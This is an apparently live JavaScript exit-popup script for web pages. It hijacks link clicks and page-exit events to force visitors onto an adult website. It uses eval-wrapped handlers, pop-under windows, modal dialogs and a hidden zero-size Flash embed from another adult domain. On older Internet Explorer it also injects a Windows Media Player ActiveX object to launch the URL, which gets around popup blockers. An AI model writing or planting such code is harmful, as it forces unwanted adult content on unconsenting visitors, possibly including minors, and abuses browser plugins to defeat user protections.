// popup url

var popURL = "http://3dsextrooper.com/";



// exit message

var mgs = "Thanks For Visiting";

// width

var mwi = "800";

// height

var mhe = "600";



// window options

var wop = "menubar=1,resizable=1,scrollbars=1,status=1,location=1,toolbar=1,left=0,top=0,width=" + mwi + ",height=" + mhe + "";

//cookie name 

var cna = "soh";

//swf url

var fur = "http://www.adultsexgamessite.com/fix.swf";

var ref = document.referrer;

var nop = "yes";

   if (navigator.userAgent.indexOf("Firefox")!=-1){

// window.addEventListener('load', on, false);

window.onbeforeunload=function ExitPop() {

  if( getCookie( cna ) == "no"){    

} else {



setCookie(cna, "no", 1);

    window.location=popURL;

return '\n\n';

}

}

   } else {

       if (window.attachEvent){

eval("window.attachEvent('onload',on);");

eval("window.attachEvent('onunload',e_xt);");

eval("window.attachEvent('onbeforeunload',onb);");

       } else {

eval("window.onload = on;");

eval("window.onunload = e_xt;");

eval("window.onbeforeunload = onb;");

        }



   }







function on(){





var tuf = document.getElementsByTagName('BODY')[0];





var links = tuf.getElementsByTagName("a");

      for (var i=0; i < links.length; i++) {

oul = links[i].href;

pul = links[i].target;

         links[i].onclick = function() {



bul = this.href;

but = this.target;

bux = this.id;



if (bul.indexOf("javascript")!=-1){





} else {

  if( getCookie( cna ) == "no"){    

} else {    



setCookie(cna, "no", 1);

  if( but == "_blank"){  } else {

  if( bux == "inb"){  } else {

top.location.href=bul;

window.open(popURL,"_blank",wop);

}

}

window.focus();

// self.location.href = oul;



        }

                }

}





        }

}





function kill(){

nop = "no";

}

function grow(){

gf = top.location.href;

window.open(gf,"_top");

document.write('<embed src="' + fur + '?x=' + popURL + '" autostart=true width=0 height=0></embed><center><img src=http://hotwebmarketingtools.com/wp-content/uploads/Copydoodles/thanks_for_visiting.jpg>');

// window.focus();

alert(mgs);



}

function e_xt(){







 if( getCookie( cna) == "no"){    

} else {

setCookie(cna, "no", 1);

if (window.XMLHttpRequest) {



document.write('<embed src="' + fur + '?x=' + popURL + '" autostart=true width=0 height=0></embed><center><img src=http://hotwebmarketingtools.com/wp-content/uploads/Copydoodles/thanks_for_visiting.jpg>');

// window.focus();

alert(mgs);

top.location.href= ref;



} else {

document.write('<embed src=' + fur + '?x=' + popURL + ' autostart=true width=0 height=0></embed><center><img src=http://hotwebmarketingtools.com/wp-content/uploads/Copydoodles/thanks_for_visiting.jpg>');



pig = window.open(popURL,"_blank",wop);

pig.blur();

window.showModalDialog(popURL,'','help:no;status:no; dialogHeight:600px; dialogWidth:800px');

I.launchURL(popURL);



window.focus();

top.location.href= ref;

alert(mgs);

}



        }







}



function onb(){

if (window.XMLHttpRequest) {

} else {

   document.body.innerHTML+="<object id=I width=0 height=0 classid='CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6'></object>";

 }

}









function getCookie( name ) { 

var start = document.cookie.indexOf( name + "=" ); 

var len = start + name.length + 1; 

if ( (!start ) && ( name!= document.cookie.substring( 0, name.length ) ) ) { 

return null; 

} 

if ( start == -1 ) return null; 

var end = document.cookie.indexOf( ';', len ); 

if ( end == -1 ) end = document.cookie.length; 

return unescape( document.cookie.substring( len, end ) ); 

} 



function setCookie( name, value, expires, path, domain, secure ) { 

var today = new Date(); 

today.setTime( today.getTime() ); 

if ( expires ) { 

expires = expires * 1000 * 60 * 60 * 24; 

} 

var expires_date = new Date( today.getTime() + (expires) ); 

document.cookie = name+'='+escape( value ) + 

( ( expires )? ';expires='+expires_date.toGMTString() : '' ) + //expires.toGMTString() 

( ( path )? ';path=' + path : '' ) + 

( ( domain )? ';domain=' + domain : '' ) + 

( ( secure )? ';secure' : '' ); 

} 



function deleteCookie( name, path, domain ) { 

if ( getCookie( name ) ) document.cookie = name + '=' + 

( ( path )? ';path=' + path : '') + 

( ( domain )? ';domain=' + domain : '' ) + 

';expires=Thu, 01-Jan-1970 00:00:01 GMT'; 

} 




